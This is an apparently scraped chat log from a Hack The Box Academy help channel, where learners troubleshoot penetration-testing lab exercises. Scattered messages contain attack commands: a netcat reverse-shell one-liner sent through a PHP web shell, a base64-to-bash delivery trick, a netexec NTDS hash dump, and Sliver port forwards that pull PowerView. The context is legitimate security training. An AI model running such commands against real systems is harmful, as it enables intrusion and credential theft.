#modules
1 messages · Page 436 of 1
- you cannot export a single file you have to mount an NFS folder
i even did
showmount -e localhost
output comes like
Export list for localhost:
/tar/tar.txt 172.16.61.0/24
what am i doing wrong
how you are mounting the folder, share the command only.
ok i get what your saying i tried even
/tar 172.16.61.0/24(rw,sync,no_subtree_check,no_root_squash)
but still no positive op
mkdir target-NFS
sudo mount -t nfs 172.16.61.128:/tar ./target-NFS -o nolock
this is the command i used for mounting
on which machine you are @strong sorrel
kali
means module
footprinting/NFS
link of module.
i was able to easily complete the exercise, but in the module they mentioned to try out how NFS permissions and mounting works, to get a hold i tried to do it on myself, but i am not able to mount the file 😦
@brave scroll if your able to mount the file perfectly please do send me the complete right procedure for it, i have aldready wasted 3 days for this :(( i feel so frustrated knowing for a fact that there might be a very tiny misstake an im not getting the right output just because of it, machines want everything PERFECT 😦
Question for non-english speakers. Did you make your notes in english or in your native tongue? I'm wondering which language should I use?
Whatever works best for you
I prefer English as all the terms and interfaces are English
Makes it a bit easier and less prone to errors
In my opinion
I am new I am doing tier 0 is sudo nmap -sV and nmap -p- -sV give the same information
The difference is the -p- scans all ports
While without it scans the 1000 most common ports
Ohh ok thanks
Hello
Hello, Can anybody help me with Direct Prompt Injection section in Prompt Injection Attack module?
I put the ssh command and it froze after giving the pw. I was able to then open 127.0.0.1:5000 web portal and go to the first assignment. but when I try to submit my injection query it completely freezes and never shows any response back and I can't even re-open the page.
Need help on command injection skills assessment
Hi
I’ve got a question regarding module 112 within the MySql section … weird question.
Hi. Pass the hash module
"Access the target machine using any pth tool etc' "
I can't use NXC, i get authentication failure
But i can use evil-winrm. Why?
definitely in english. Try to think, write and work in english
command of both would be helpful to answer your question. I have no clue which protocol you are trying to authenticate to with nxc
Hello I am struggling in module Attacking Active Directory and NTDS.dit. I have created a wordlists and performed brute force attack with netexec and found credentials for cjoshnson but when I use the -M ntdsutil it doesn’t capture the ntds file
have you tried multiple tools? If I remember correctly, impacket-secretsdump should also work to get the ntds file (if you have access to user account who has priveleges for that)
you can DM me, maybe I can help
you can dm me as well
It does not work
Impart secret dump works if you have already capture the ntds file
The only two seats that exist in the course is with netexec and with evil-winrm but none of this works in my case
dm me the command line output
and which exact section you are right now, so I can check me notes
and impacket-secretsdump can retrieve hashes from ntds file
password attacks credential manager stuck. dumped credman using mimi but cant find required password
besides that, I had to use --ntds as an option to dump hashes with netexec.
$nxc smb 172.16.5.5 -u< REDACTED> -p <REDACTED> --ntds --user user_to_get_hash_for
In the course it says to use -M ntdsutil though . The —ntds is not mentioned anywhere
WINRM and SMB
One sec
Nevermind
Why did LaZagne work but mimikatz didnt
sometimes tools just don't work.. this is why being comfortable with many methods is beneficial. In my cases, it was almost always my fault and not the tools fault
oh
Did you ever manage to solve (1) ? I ran into the exact same issue. Built the AVD, ran it, searched for the build number under Settings, About. But the build number found there is just not accepted, irrespective of how I format it.
forget it i solved it
Did you ever manage to solve (1) ? I ran into the exact same issue. Built the AVD, ran it, searched for the build number under Settings, About. But the build number found there is just not accepted, irrespective of how I format it.
as u mentioned you already have done the question.
As an italian speaker.... all my notes are in english. IT world, tools, courses, machine and all are in english so...
something like: mkdir target-nfs
sudo mount -t nfs 10.129.27.59:/ ./target-nfs/ -o nolock
anyone working on Attacking WPA/WPA2 Wi-Fi Networks - https://academy.hackthebox.com/module/282/section/3176 ?
That's the first ever thing that I tried but it failed aswell
Hey there, I just finished the Introduction to SQLi module, but I feel like I'm not going far enough in the final SA 🤔 As per the course content, we get a webshell, but I'm unable to upgrade from the webshell to a reverse shell, even though it seems quite easy...
For a reason I am yet to identify, the following request does not come back to my nc listener, would someone know why ?
http://SERVER:PORT/path/shell.php?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc $MY_IP 10000. Same goes for curl, but the same "path" with an id command works flawlessly 
Yes but can you help me with the mounting ?
The questions in it were simple and straight forward
weird, i did that module and that's the command i used (looking in my notebook)
Whats the error?
I believe it has something to do with the version
need help with this https://academy.hackthebox.com/module/51/section/1777
after checking the Python version as the exercise says, and getting it, exercise doesn't accept it.
Try a different payload then. not every revshell payload will work. and depending on how youre deliverying it, you may need to URL encode (revshells website has that option when you copy the shell)
Has anyone been able to complete the Malware Classification section of "Applications of AI in Infosec"? I'm following the instructions exactly, but am constantly getting "NameError: name 'load_datasets' is not defined". Feel like I have tried everything.
it says denied access
Hey guys , i need a teammate for an imaginary CTF challenge. Can anyone join with me ? Pls dm me
DM if u want.
Try messing with the version
How to do that
Guys hello. Who has done Pivoting Tunelling and Port Forwarding in Skills Assessment what is the format answer for this question Enumerate the internal network and discover another active host. Submit the IP address of that host as the answer.
Hi
https://academy.hackthebox.com/module/112/section/1072 Where can i reach this wordlist as a resource Footprinting-wordlist
Can someone explain me why there is a "Done reading? Check out ..." message on the general chat that impedes me to write on?
hii good people i was doing Pass the certificate from password attack i solved the first one "What are the contents of flag.txt on jpinkman's desktop?" then the next question "What are the contents of flag.txt on Administrator's desktop?" idk what to do i looked through the files in and found mimikatz.exe in Documents folder but it wont execute please help me
If anyone has finished the SCCM attacks part in CAPE, please DM me, thanks.
Read and follow #welcome
So I saw your post the other day, but I likely didn't use the intended path to finish that one. I have been planning to go back through it to do it a different way and figured I'd hit you up then. I still haven't gotten around to it, but will try to do it today. Can DM if you'd like.
Is that user able to perform what you are trying to perform?
Anyone please
I'd work this part from that section AD CS NTLM Relay Attack (ESC8)
its cpts module 😂 not CAPE
Sorry i am little dumb can you explain please
Yeah re-read the section, that is literally the first heading with content.
Open that section, where you see that heading, start to read the material and follow along. It explains and demonstrates everything you need to do to perform the Pass the Certificate attack.
yeah mb didnt checked the content after update
It's all good, I def make mistakes, but my second cup of coffee kicked in and I am a bit more aware.
Ay ay 🫡 so i just repeat the same relay attack for administrator. Ill read it again and try to follow just got lost here thankyou for your help
Yeah it all depends on what .pfx you received from the previous one. If it was for that other user and that user doesn't have privs to get the answer to the second question, then yes I would work it again.
Active Directory Enumeration & Attacks module ACL Enumeration Section
is it normal to wait more than 10 minutes for powerview to enumerate ACLs?
Is the ccache actually located in the /tmp directory or is yours in the current working directory? Hey since your screenshot spoils content over Tier0 I'm going to delete it.
I don't recall how long that took to run, but yes it generally takes a bit of time.
it does i exported it too
It's doing a massive query and is filtering every single one of them so: Yes it's gonna take a while
You can DM.
It just meant I did the right thing bloodhound and finish XD
This is also part of the reason bloodhound takes so long, cos it essentially queries the same thing
nah sharphound took less than 5 minute to gather all the data, while powerview is still running and no output 20+ minutes
what does this mean? don't really understand
Use what you were taught in the section to find the name of the target
You could probably speed things up if you assign the return value from Convert-NameToSid to a variable. You current code calls that function for each object returned by Get-DomainObjectACL and there are a lot of objects 😉
https://academy.hackthebox.com/module/112/section/1072 when i'm using smtp-user-enum with resource wordlist i have output that there aren't any results but when i'm using -T option i have output that it can't open username file. What should i do ?
Remember that mail servers sometimes respond a little more slowly.
Is it normal that on this module https://academy.hackthebox.com/module/27/section/439 it is asked to do a zone transfer but the zone transfer doesn't work ?
no, it should work
like with a dig axfr <domain> @<target_ip> right ?
I have reset the box multipe times
yes, just make sure that the correct TLD is used. The example uses .com
But the question uses .htb
that was the point 😉 if it still does not work you can DM me the output
Hi, I'm stuck on Question 4 of the “Using crackmapexec” module.
The hint says, “Sysadmins save their credentials securely,” but I've searched everywhere and can't find anything.
I found a keepass file, but I don't think it's related. Is that correct?
Without looking at my notes now. If the hint says that administrators keep their passwords safe and you find a password safe, then there should be a connection.
Doubling back just in case someone else has an idea, I just finished the Introduction to SQLi module, but I feel like I'm not going far enough in the final SA 🤔 As per the course content, we get a webshell, but I'm unable to upgrade from the webshell to a reverse shell, even though it seems quite easy...
For a reason I am yet to identify, the following request does not come back to my nc listener, would someone know why ?
http://SERVER:PORT/path/shell.php?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc $MY_IP 10000. Same goes for curl, but the same "path" with an id command works flawlessly
I also tried different payloads & URL encoding it
It could be that the webserver has problems with some special chars in the payload. One trick to avoid this is to base64 encode your payload and then running /shell.php?cmd=echo <your_b64_string> | base64 -d | bash and remember to url encode everything.
I'm gonna try that thanks ! I also tried to upload the revshell code on a file but no more success there when accessing it
I checked the LSA, but couldn't find anything that could be cracked. I need some hints.
Which section are you in?
Well that didn't work either, but I'll be sure to keep it in mind for the future, thanks anyway!
I'm wondering if the fact that the box is only a specific SERVER:PORT is blocking off egress traffic from any other port 🤔
Using CrackMapExec - Skills Assessment Question 4
The module shows you a technique where you don't have to crack the file, but still get the data.
Just to confirm something, the ip isnt something like 10.10.*.* for you too right?
Hm, my IP is 10.10.*.*, the box IP is not. It's 94.237.61.242:33762 (or something like that, changes a bit every time)
When a module gives you an IP like that, it's a public docker container. You can focus only on that port and can ignore the rest.
So that would be the reason why I can't get a revshell from it ?
But my webshell passes through because it's running through the same port ?
No, that's probably a network issue. I don't recall any public docker container section in a module where you're supposed to establish a revshell, so you're probably not doing something right. Which module/section is this in?
NM I see, the SQL injection fundamentals module. Yeah I don't think you're meant to get a revshell, there may be rules in place preventing it. You can just use the webshell as shown in the section. It doesn't show setting up a revshell.
You'd need to setup port forwarding on your local network to point it to your machine, and if you're using a VM depending on how you set it up you'd need to route traffic to your VM's subnet
not required for the section though
Yes ! I solved it with the webshell, but thought that I was too limited and wanted to go a step further, that's why
Why would I need port forwarding for this situation when I can get revshells from other SA boxes with "just" the VPN up ? Is there a specific network conf for those specific boxes ?
edit : I see you're saying that it is a public docker container, and I can indeed reach it without the VPN. huh.
Yeah because your home network isn't allowing the traffic through so you'd have to setup port forwarding. That's not the case on the VPN, you're directly connected to the private network via the VPN so you don't need to port forward stuff for your public network.
Yep yep got it, I thought I was reaching it through the VPN but it's public indeed, my bad
Many thanks for the explanation
And I understand that a bindshell would fail as well, on behalf of the fact that only one port is open and that it is taken by the webservice, therefore we wouldn't be able to 1) start a socket on the server on the accessible port 2) reach the socket if somehow we managed to get one open on another port
Let me redo that @cloud urchin
@meager shadow please take care not to reveal attack paths for skill assessments
gotchu
Is there anyone who could help with the Server Side attack skills assessment - Edit: Disregard got it 🙂
lmaoo
lmao. there's a whole platform dedicated to learning.
edit: this deleted comment was nuts
Anyone done the advanced deserialization: XML part? unsure as to why I'm getting this error:
+ $exception {System.InvalidCastException: Unable to cast object of type 'System.Data.Services.Internal.ExpandedWrapper`2[System.Windows.Markup.XamlReader,System.Windows.Data.ObjectDataProvider]' to type 'TeeTrove.Models.Tee'.
at TeeTrove.Controllers.TeesController.Import() in C:\Users\bill\Desktop\Advanced-Deserialization-Attacks\TeeTrove\Controllers\TeesController.cs:line 91} System.InvalidCastException
The payload works in console app and all I've done is remove escapes and add the Tee tag.
The course is telling me that this is how its done, but its resulting in an error?
Hi, I made a pause in my CPTS
I'm at the Windows built in group module
https://academy.hackthebox.com/module/67/section/601
I have the NT hash and password of the Administrator but I don't successfully connect (either RDP, SMB, or mimikatz) I feel stupid.
you can dm me
In Advanced XSS and CSRF EXPLOITATION module, CSRF section it is given that Samesite cookies won't be sent in cross origin requests but it is wrong it should be cross site instead. Big difference
Do you think this is correct?
it is me or the lab TE.CL is illogic as fuck? i just resolved it and it seems a simulated http request smuggling because you let the update CL or put any CL it will resolve the lab (if you do the right thing to have CL taken)
you are right!!!
Hi guys, i hva some questions about XEE on file uploads attacks. When i upload a svg file. How the web server execute that file?? If my svg file execute file:///flag.txt
How the server execute that?
THX
Btw, i asked chat gpt but i cn barely understand it
File:// is just a method, if you ever open a file in a web browser you'll often see file:///path/to/file
Hello , I am stuck on Window Credentials . Could someone help me to figure it out ?
Hi
My probelem is What password does Bob use to connect to the Switches via SSH ( Case-Sensititive). I tried to pivoting but not successful for ssh
I don't know if it is your case, but with sudo mount -t nfs [...] I was able to mount the share but unable to access its files (there was a TechSupport folder). Then I tried sudo su (so change user as Root) and again mount -t [...] and it worked. Dunno why
you used window rdp machine sudo su . not clear
C:/users/bob has .ssh file
but no access . I tried powershell but failed to read the content
Thx
Hi everyone!! Can someone help me with a quick help on the module File Upload Attack, beens stuck in one questions for two weeks now
Also re read the module again but still stuck
For the Password Attacks module, I completed the newly added "Attacking Windows Credential Manager" section. I was able to do UAC bypass and use mimikatz.exe to get the plaintext password. However, I decided to do it again today just to solidify my understanding, and it gave me a different password for the user mcharles. And Now I'm confused lol
Is that under File Transfers?
Oh nevermind
Applied everything learned on the Client side to bypass some upload filters. When I open the upload_images/shell.php4 it loads the page blank. Which means is not executing the file. When fuzzing the extensions I get q length of 225-230 responses which does not match the 193 on the exercises. I did not pay attention to this since the exercise get updated.
Under the Bug Bounty Cert
That's on the CPTS path too, I wish I could help you, but I'm about 5 modules away from that lol
I have strong grit which is why I keep looking at this every day, but still cannot pass it
Wait I think I had a similar issue on one of the earlier modules, I would maybe swap vpn servers, and look into your shell code and make sure everything is absolutely perfect. I know sometimes the boxes can also be very unstable.
I tried doing a reverse-shell but it did not work also did try to listen using netcat
Is it the skills assessment?
Is the Blacklisted section
No one can
why?
Sorry but I am not sure
anyways can someone give me some tips on how to get better at cyber security bcs when i practice on hack the box, i cant understand anything i start asking chatgpt and watch yt videos
okay thank you tho!
and i feel like im not learning anything
I notice this section right here "Now, we can try uploading a file using any of the allowed extensions from above, and some of them may allow us to execute PHP code. Not all extensions will work with all web server configurations, so we may need to try several extensions to get one that successfully executes PHP code." Do you think it could be the extension you're using?
Hey man you'll get it in time. What are you struggling with the most right now? I still have issues of my own, but I started not understanding anything either.
You must keep at it day by day other wise you will forget and loose some parts
^This. Eventually you'll brute force your mind into grasping it no matter how slow or quick.
everything i cant understand anything
After a while it all make sense at the beginning it could be overwhelming but as you go you get q better understanding of what you have learn
Well what are you currently trying to work on or study? Like subject in particular are you struggling with?
well im studying cyber security as an skill i always wanted to learn it
Tried a couple
Of different ones also did an asp as well
Which area of Cybersecurity? Because it's a really broad field. And Youtubers will also trivialize things and make them look really simple, when in reality it takes a long time of practicing to really understand what's going on.
i struggle with everything, with remembering all the codes like root and how to use them
Best tip is to develop you own framework as everyone has different strategies. Start with the Networking foundations this will help you understand how everything is communicating and interacts
I may have to go through this module to fully understand. Sorry man i wish I could be of more help
i really dont know whhich areas there are
alright thank you
root is the superuser. Basically the admin of the linux system. Like how Administrator is admin of a windows system.
The reason I am saying this, that is what I did and I am not a software developer but understand the difference in syntax for different languages
You can but majority of companies use Windows
You can download Virtual Box and watch a video on how to download that and download Linux and how to set it up as a virtual machine and you can practice from there. I would just mess around with it and get comfortable with the commands. You'll also want to get comfortable with PowerShell which is on Windows. It's overwhelming, but once it clicks, you'll find it much easier to learn different command lines.
thank you a lot guys!
No problem, just don't give up!
can someone pleas link me that github list of default creds that is in the penterster path i cantseem to find it anywhere :/
do you mean seclists?
Never give up!! Have grit and if you get stuck get a break then get back to it! Make sure is not a long break other wise you will need to re read to refresh
SecLists or Payloadofallthings
@severe crow
A puerto rican hacker 💀
Can only help the world one grain at a time 🔥
I'm trying to think how much trouble a non-spanish speaking person would have pronouncing "Coqui"
Would they say cawkui
Let's keep this channel on topic!
Are you working on your pentest path?
Hi Rem been trying to get assistance on a section Blacklisted under File Upload Attacks
Mostly on the Bug Bounty Cert Path
Are you unable to bypass it?
Unfortunately not yet, tried reading the treads in the forum but I think the exercise got updated due to the different response length than the example and the forums. I even tried an Asp file and changing the Content-Types I’ve gotten creative but no bypass yet
You can DM what you've been trying.
Sending shortly
@wet arrow Please take care not to spoil content from modules above tier 0
Read and follow instructions in #welcome
Can anyone solve this problem ? what password does Bob use to connect to the Switches via SSH(Format:Case-Sensitive)
I am stuck this question solved other problems
Hi, this is covered in the walkthrough, so it's not an exercise answer. I'm just checking—is this for showing a way to do it, or is there a constraint requiring this approach?
It's against the rules to post content from any module above tier 0. Plus, for AEN, some people like to do it completely blind without reading anything from the module or the question themselves and you're spoiling that content.
If you feel the need to post a little more info you can ask to DM someone but please don't post the content
My apologies. Is there a chat where I can ask for this clarifications?
👍
I did pivoting based on winscp ip . looks like it is pivoting ip and port is 22 . I used LaZagne.exe , mimikatz but did not get ssh password
Pivoting is also not working
OK... I'm Officially stuck on how to even begin assessing the 'web application & api -> practical assessment'. I can't get it to respond with the scripts that I've got and it's not responding to any of the curl request that I've formed... Does anyone have any advice?
is there a channe for htb lab? i cant find it
You need to follow instructions in #welcome to gain access to most channels in the server
If someone who knows better than me on http request smuggling can enlight me?! i have the flag but for me it is illogic and i dont fully understand why it worked, for me it is a simulated http request smuggling and that makes the lab totally illogic et unrealistic
I've been stuck on Q4 of the Skill Assessment in the crammapexec module for days. I need some hints.
Review the Popular Modules section, specifically things covered in the SMB protocol part.
hello world,
What are the contents of flag.txt on Administrator's desktop? PASSWORD ATTACK module, Pass the certificate, second question.
I was able to get jpinkmans account via evilwnrm and got my first flag. But how i can get the Administrator's flag?
Please help(
Are “Popular Modules” different from crackmapexec modules?
theres a submodule named 'popular modules' in crackmapexec module
Thank you, I was able to move forward. Why didn't I try this before?
its ok we all get confused sometimes haha
where else i can get help from? GPT is not even close. Google nothing. I think it would be cool if HTB would add some hint int there
never mind, thanks for not answering lol, i got it
it was easy
i am just dumb
i like this thing of HTB, as they are developing our power to think different & out of box.
btw there are hints(step by step) present but they are available only in Annual subscription.
no money no honey i see
🫠
i feel like it is better to do it on my own without hints, since it will make you find a way to solve it.But meanwhile it takes my time((
if it's taking time, there is nothing wrong to take hint instead of direct way.
you can ask for hint whenever u think you are stucked but after trying your best -> as it will develop your methodology.
its not hint its whole solution xD (i have annual silver sub) :P
hehe i forget it.
I was able to complete all the crackmapexec challenges. This may be the first time it took me this long. Thank you.
u done with ad enum and attacks? 
Yes, I've already finished.
nice
Cheers! 🙂 Regarding the footprinting-module and the section about "IMAP / POP3" --> I needed to add the command tags in front of any command once logged in. I'm nont sure whether its in the academy-text or not, but I could not find it. I was kind of confused when the commands from the given command list did not work 😄 Is there another way or is it meant to be a bit confusing? 🙂
Need a sanity check on WindowsPrivilegeEscalation SA 1 - All my carbs are being spat out and I'm out of toner
man, this message got some type of encryption. I am not sure if he is asking for help or not 
I am, plez send help
you can DM if you want, I still have my notes about the skill assessment 1
dm or post question without spoilers, either way
Hello please help about this question: What is the Type of the service of the "dconf.service"? and when i try this command: "sudo vim /etc/systemd/system/dconf.service" i get nothing
which module and which section and their question?
From Linux Fundamentals> Task Scheduling
seems like you didn't google it, right?
yea I didn't
you don't have to check the file itself. The question is what type of service that the configuration file is for.
Google the question and see what service that is
okay copy that
@cloud urchin Could you please give me permission to DM you ?
Hi
That's illegal, contact instagram support
No one here can help you, contact instagram support
@waxen totem Could you please send me link how to enroll instagram support
@waxen totem Thanks
Hi! Could someone help me with https://academy.hackthebox.com/module/147/section/1315?
I'm having an issue with the LSA secrets exercise
After dumping them locally, I got the ||dpapi machinekey and userkey with the secretsdump|| but I don't know how to retrieve creds from that, || hashid -m "machinekeyhash" or hashid -m "userkeyhash" || returns nothing
dpapi.py
but that's not installed on the machine, neither python, can I install it? or for cleanliness I should find a way to do it without installing?
Because I tried the dumping externally and that didn't work
try impacket-dpapi
you use it on your attacker machine
Hello!! im having some problems crawling with finalrecon , i have no connection
Deleted your messages cos it spoils one of the answers for that section, is the subdomain in your /etc/hosts file?
yes
sorry
are you using this format:
<IP>(NO PORT) host subdomain
yes
DM me
@waxen totem can I DM you too? I'm still lost as this is not explained on the module properly
sure
Can anyone provide some help for the LLM output attack skill assesment is been 3 days am still stuck on it
Try to find an extension that is not blacklisted and can execute PHP code on the web server, and use it to read "/flag.txt"
Can someone help me out? I checked for what extensions can be uploaded, changed the contents and tried to execute the file and i never got my flag just the output of what's inside the file
If the file is displaying then it's not executing, which means it's probably the wrong extension
That's the thing, it says all the extensions are allowed but some arent allowed
I cant sit and test all 45 manually that's way too much, I don't know why fuzzing isn't working as it's supposed to be
What tool are you using to fuzz maybe?
Burp intruder is inherently slow, have you tried FFUF with a request.txt file or OWASP ZAPproxy ?
I have not used ffuf for it
but burpsuite should work just fine for fuzzing extensions for file upload
no clue, I didn't use it. Also looks like a lot of your extensions aren't php extensions
what did u use?
zaproxy
i'll try it
Yeah i dont know tbh what im doing wrong
Hi all, i was wondering if I can ask a question about the dynamic port forwarding with ssh and socks tunneling module here? I would like to post an image and get some clarification
thank you friend, I just did that
am I okay to ask the question and post the image here now?
yes this chanel is for that only : )
perfect, I has a question relating to this image. There is accompanying text: " Let's take an example of the below image where we have a NAT'd network of 172.16.5.0/23, which we cannot access directly." I had questions regarding the NAT aspect of this statement. What does it mean in this context?
- does it mean that the IP that I see in the image 172.16.5.129 is a translated IP itself?
- or does it mean that ip 172.16.5.129 is the "public" ip of the NAT network and is performing translations for all machines behind it?
Module: Pivoting, Tunneling, and Port Forwarding
Section: Dynamic Port Forwarding with SSH and SOCKS Tunneling
NAT is Network translation address which will convert pvt. ip to public ip for forwarding requests
our public is diff and private ip is diff coz of NAT
Yes I understand that, but I don't understand how that applies in this context. How does my tunneling and enumeration approach change given that 172.16.x.x is within a NAT'd network?
Since the victim server is already compromised, and that server has an interface to the 172.16.x.x. address, can't I access all machines in that network as usual?
no
Hi everyone
you can access compromised machines directly (in same network) to access 172.16.x.x machines you have to do pivot to access that network
hi #welcome follow steps mentioned here
yep that makes sense, but how does NAT come in here? why is that even a consideration?
anyone can help on the windows lateral movement skills assessment? just need a little nudge, stuck on the VNC part
NAT doesnt come in here i explained coz u used NAT so i first thought u might be confused about what NAT does coz both networks are totally different but connected to each other
The module text says this about that image:
Let's take an example of the below image where we have a NAT'd network of 172.16.5.0/23, which we cannot access directly.
Are you saying that the fact that 172.16.5.x is a NAT'd network is irrelevant?
oh ok NAT does come in here coz the internal ip of the host might be different but its connected to a external network so its using NAT
yeah that's what i was wondering, that IP that is shown to me in the image 172.16.5.129 - is that a translated IP that this host has been given, or is the text saying that there is a private network, and 172.16.5.129 is the gateway ip into that network?
its translated IP for the host
perfect, thank you so much 🙂
no problem, even i spent two weeks on pivoting (concept only) got way too confused 😂
Hey, could anyone give me some hint with the password attacks module assessment? I got to DMZ01, I had scan rest of the hosts with nmap, tried to brute force SMB on FILE but can't make it work, not sure if it is possible.
try enumerating files
is it normal that SharpWSUS.exe not working on the SUPPORT host? like only the locate command works, running it as a rossy user
or do I have to run it on WSUS host? but there is no such user as rossy there, but I guess I can create in rossy context the new process, oh my dayz, its disgusting
Yeah you are going to want to run that on a host that supports it, which would likely be named WSUS.
So I must run it in Rossy context, right?
Hello did you find a solution?
There might be a reason to.
Hello did you find a solution. Im also stuck in this question. I tried it a few times but i cant find my mistake.
Yes, there is one compelling reason to run it under her context
Did you find a solution? Im also stuckt at this Point...
But I cannot solve yet how can I run it, I am having trouble to get the process running as rossy
Hi, im Stuckt in the Androit Fundamentals Module.
I Followd the instruction but my Answer ist wrong.
Do you have any Ideas?
Create an AVD for 'Pixel 3a API 34 Google APIs' using Android Studio. What is the build number of the device? (Format: build_number, Example: build_number-test)
I Solved it...
Ohh, thanks I did it before but missed useful info
np
Did anyone solve window credentials module in Password attack . I have been stuck for two week
If you are on the correct host, as the correct user, and SharpWSUS.exe isn't working try the powershell version.
yes whats your quest?
The user is not correct
Did you solve "What Bob uses password to switch via SSH ?" I did pivotiing , mimikatz but nothing is worked
Have you tried moving laterally with that user? If it's easier to explain things you can DM, as to not spoil content.
@wooden seal Did you solve SSH...
yes wait telling
@wooden seal Please DM me
@lucid grailcan you name the sub module?
why thats problem ?
windows?
theres a file try looking for it
np, its in Attacking Authentication Mechanisms module specifically SAML Lab Setup
Hi, I am a complete beginner in cybersecurity and just started doing my first path of cracking into HTB, and in the module of Getting Started, I am stuck on the exercise in public exploits which is: Try to identify the services running on the server above, and then try to search to find public exploits to exploit them. Once you do, try to get the content of the '/flag.txt' file. (note: the web server may take a few seconds to start). So i ran msfconsole, and search exploit eternalblue and ran the exploit but it didn't work. I am confused on how to approach this.
Try visiting the ip
anyone here ???
Hi I have a question on Modul "Pivoting, Tunneling, and Port Forwarding" "Port Forwarding with Windows Netsh", I set the portforwarding with netsh, with Remmina it works but xfreerdp fails, can I only use xfreerdp with one window?
Xfreerdp works with multiple windows
Ok why doesn't it work? Remmina works... isn't it the same connection?
no idea why its not working, im assuming you did the proxychains/whatever ¯_(ツ)_/¯
Can I dm you? I don't want to spoiler commands
Sorry dms arent open atm
Ok can I show you the commands here?
Do I need to configure proxychains if i use portproxy?
I will try to reboot the machines 🙂
@wooden seal Did you find any solutions for Window Credentials in Password Attack module ?
@wooden seal I have been stuck for almost three week
@lucid grail ^
i told u a hint
it should help u @lucid grail
@wooden seal Please give me hint . That is also helpful
@wooden seal you are talking about cheatsheet
theres a file on system search it
Password Attacks module credential hunting in network shares. I'm stuck cant find creds of other user, too much data
Maybe using a pattern is useful
guys hello I can't run ptunnel-ng tried all means to install it but nothing worked even chmod
I did , not much to do from there
When I did nmap I found a port to login page
But in the source code
There was no test login available
Well, you can always look up what's shown there in vulnerability databases...
Where's the vulnerability database?
Google, searchsploit, msfconsole
Intro to C2 Operations with Sliver In the Kerberos Delegation & Enumeration using rportfwd this doesn't work -
Assume that we set up a file server on port 8080 on our attack machine, and the target cannot reach this port. However, it can reach port 8080 on WEB01; we can create a reverse port forwarding on WEB01 to relay the traffic between SRV01 and our attack machine. To circumvent those types of restrictions, we will utilize the reverse port forwarding (rportfwd) functionality in Sliver. Execute the following command in the session of WEB01:
Kerberos Delegation & Enumeration
sliver (http-beacon) > rportfwd add -b 8080 -r 127.0.0.1:8080
[*] Reverse port forwarding 127.0.0.1:8080 <- :8080
This only loops traffic to local host from web01 to itself.
You need to add the following to make it work in that section:
On the Web01 session
sliver (http_beacon) > rportfwd add -b 8080 -r 10.10.14.189:8080
[*] Reverse port forwarding 10.10.14.x:8080 <- :8080
sliver (http_beacon) > rportfwd
ID Remote Address Bind Address
==== =================== ==============
3 10.10.14.x:8080 :8080
Then on the srv1 pivot:
rportfwd add -b 8080 -r 127.0.0.1:8080
then on the srv01 pivot session
sharpsh -- '-u http://127.0.0.1:8080/PowerView.ps1 -e -c R2V0LU5ldENvbXB1dGVyIC1VbmNvbnN0cmFpbmVkCg=='
#1234357888114364508 if youre suggesting a fix
thank you @fathom pendant
which tool should i use
I used nxc if I recall correctly, it wasn't much just using the newly found creds to search around
Using patterns like "pass" or "passw"
Those should be the same thing 😅
Something borked in the environment
you didn't even say which module/section/question you're on
@indigo roost I finally got time to test your suggestion for using RDP through SSH but unfortunately it did not work gave me the error:"Please check that the $DISPLAY environment variable is properly set."
Credential Hunting in Network Shares - As this user, search through the additional shares they have access to and identify the password of a domain administrator. What is it?
been stuck on this for hours
chasing my tail
There were just some hints mentioned. Scroll up a bit.
Try finding the domain (i.e. INLANEFREIGHT) and go from there
Anyone able to give a second opinion on what I may be doing wrong. I’m working with using chisel and trying to pivot to another machine using Xfreerdp basically my first target is a 10.129…… second target is a 172.16……. The 10. Has a network adapter that does Include a matching subnet to the 172. I did confirm my second target machine is listening on 3389 but I don’t seem to be able to get into the computer. I did confirm the windows 1st target is able to communicate with my attack client.
I’m wanting to believe that the user/pass I was able to recover does not have remote features, I need to confirm but I feel like the module I’m working on, the user is the only available one to get within.
Module: File Transfer Methods, Section SMB Downloads.
Why do I need to spin up an SMB server for downloading files from a share? Can't I just log into an SMB server via smbclient and just use the get/mget command and download the file?
Is it more evasive to mount a share and then copy it?
Sitrep i think you can also just RDP to the kali machine if that isnt working for you.
Im not getting thay error tho, ive seen on a forum that it might come up if u are trying to run xfreerdp as root? I say just reset ur target and if that doesnt work then reset the pwnbox too, assuming ur running this stuff through there
Hii yha koi hindi bolne vala hai kya
yeah unfortunately running as root and resetting has not fixed it maybe the connection is slow or the machines. I am currently RDP'd into Kali and then RDP'd into the windows machine but it takes several seconds for it to register input
sadge, lmk if u need any help with the skills assessment or the questions for that section
Hello everyone
Need help here
So in the SIEM fundementals skill asseseemnt it says connect to http://[Target]:5601
when I spawn the target enter the ip it doesnot work
It says unable to connect
It was working on the previous section but when I reached skill assessment it is not working
needa wait for kibana to spin up i believe (~5 mins from what i remember), unless u already did that then reset the target maybe
Tried to wait for 20 minutes and I am facing this problem since yesterday
tried to change the target several time but nothing is working
can someone help me out, i'm doing the introduction to infosec course in HTB and i'm stuck in the public exploits section,|| i found out about the wordpress 5.6.1 and some themes||, nothing more than that, i also found a lot of possible public vulns, but i still can´t figure it out, what am i missing?
*sorry about the bad english
The plugin is directly on the webpage when you visit it
i feel really dumb right now... but thanks a lot
Any good resources to learn about DLL Injecting/Hijacking and DLL in general. Im on windows privesc module, DLL injection part but i'm not quite understanding it
Hi whenever i need to use metasploit to have an reverse shell i have this error Failed to load extension: uninitialized constant Rex::Post::Meterpreter::Extensions::Stdapi::Stdapi Did you mean? STDIN therefore i use the web vm anyone got this error ?
Which modules should I complete before attempting OUTBOUND ??
hi guys im stuck on this question for skills assessment documentation and reporting Connect to the testing VM using Xfreerdp and practice testing, documentation, and reporting against the target lab. Once the target spawns, browse to the WriteHat instance on port 443 and authenticate with the provided admin credentials. Play around with the tool and practice adding findings to the database to get a feel for the reporting tools available to us. Remember that all data will be lost once the target resets, so save any practice findings locally! Next, complete the in-progress penetration test. Once you achieve Domain Admin level access, submit the contents of the flag.txt file on the Administrator Desktop on the DC01 host.
Stuck as in you don't know what to do or have done a bunch of stuff and haven't gotten anywhere?
both
Have you gotten any of the flags/answers?
for the module yes, im on the skills assessment but this is the first question of the skills assessment
I'd pick up with the easy stuff. If something was run already, might be worth running it again just to make sure you captured everything and something wasn't missed from the previous assessor.
the things in the previous sections were theory. I'm on the practical section now and have gotten nowhere for days
Yeah but haven't you done the previous modules in the path?
don't think so
Are you not doing the CPTS path or did you just purchase the Documentation & Reporting module?
justt the module
